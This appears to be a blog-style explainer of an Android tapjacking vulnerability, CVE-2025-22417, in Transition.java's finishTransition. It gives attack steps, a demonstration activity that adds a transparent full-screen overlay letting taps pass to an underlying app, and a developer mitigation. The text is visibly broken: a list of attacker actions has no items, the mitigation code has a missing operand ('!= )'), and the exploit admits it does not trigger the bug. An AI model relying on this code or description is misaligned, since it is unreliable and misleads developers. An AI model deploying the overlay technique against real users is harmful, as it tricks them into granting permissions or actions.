CVE-2025-22417 - Exploiting Android tapjacking via Transition.java finishTransition Vulnerability

In early 2025, a serious vulnerability labeled CVE-2025-22417 was discovered in the Android operating system. This issue centers around the finishTransition method in Transition.java, where attackers can exploit the process to bypass Android’s touch filtering. This opens the door for dangerous tapjacking attacks leading to local privilege escalation — even if the app doesn’t have special permissions!

This post breaks down the vulnerability, its exploitation, mitigation steps, and provides code snippets and references for a deeper dive, written in clear and practical language.

What is tapjacking?

Tapjacking is a classic Android trick where an attacker puts a fake screen (an "overlay") on top of a real app. The user thinks they’re tapping something harmless – but they’re actually tapping on the hidden app underneath, unknowingly granting permissions or taking dangerous actions.

Android tries to stop this by blocking touches to windows marked with filterTouchesWhenObscured. But a bug in the finishTransition method makes it possible to sneak past this filter!

The core of the problem is here

// Simplified code reference from Transition.java
void finishTransition() {
    // ... some transition logic ...

    // Problem: Fails to properly reset touch filtering state
    mView.setFilterTouchesWhenObscured(false);

    // Overlays or malicious apps can now receive user taps that should be blocked!
}

Normally, Android tries to block touches when an overlay might be hiding what the user is doing, using something like:

View.setFilterTouchesWhenObscured(true);

But due to insufficient checks and bad state management in finishTransition, it’s possible for the window to reset this filter too soon — letting taps through that should be blocked.

Create a malicious overlay window:

The attacker app draws a transparent or partly visible overlay over a SYSTEM dialog or sensitive area.

Use finishTransition vulnerability:

The attacker forces a view/transition update, causing finishTransition to run and improperly lower the touch protection.

Trick the user:

The user thinks they’re tapping the overlay, but their touch actually goes through to the underlying app underneath, performing actions like:

Escalate privilege:

The attacker gains permissions or triggers actions needing user consent, without the user realizing it.

Example Exploit Code (Demonstration Only)

Here’s a simplified exploit that uses a SYSTEM_ALERT_WINDOW permission (but this attack can also work with less privileged overlays in some cases):

// MainActivity.java

public class MainActivity extends Activity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        // Set up a malicious overlay window
        WindowManager wm = (WindowManager) getSystemService(WINDOW_SERVICE);
        View overlay = new View(this);
        overlay.setBackgroundColor(Color.TRANSPARENT);
        WindowManager.LayoutParams params = new WindowManager.LayoutParams(
            WindowManager.LayoutParams.MATCH_PARENT,
            WindowManager.LayoutParams.MATCH_PARENT,
            WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY,
            WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE,
            PixelFormat.TRANSLUCENT
        );
        // The vulnerability: overlay will let touch events pass through
        overlay.setOnTouchListener((v, event) -> {
            // Log the event or forward it
            return false; // pass event to underlying window
        });

        wm.addView(overlay, params);
        // Now, trigger the vulnerable finishTransition in the victim app
        // (This part typically requires timing or specific interaction)
    }
}

NOTE: The actual exploitation would need timing/trigger to cause finishTransition to mishandle the touch state, as outlined above.

Official advisory:

Android Security Bulletin June 2025

CVE Description:

CVE-2025-22417 on MITRE

If possible, restrict overlay permissions in device settings

For developers:
Add extra validation using onFilterTouchEventForSecurity in your Activity/View code, if your app handles sensitive actions:

@Override
public boolean onFilterTouchEventForSecurity(MotionEvent event) {
    // Block if the window is obscured
    if ((event.getFlags() & MotionEvent.FLAG_WINDOW_IS_OBSCURED) != ) {
        return false;
    }
    return super.onFilterTouchEventForSecurity(event);
}

Conclusion

CVE-2025-22417 revealed a subtle but powerful attack route hiding in Android’s transition logic. While it requires local user interaction, it can be chained with aggressive social engineering for dangerous privilege escalation.

Stay vigilant: patch early, ask your device vendor about updates, and don’t underestimate the creativity of attackers with overlays!

Timeline

Published on: 09/02/2025 23:15:33 UTC
Last modified on: 09/04/2025 16:39:57 UTC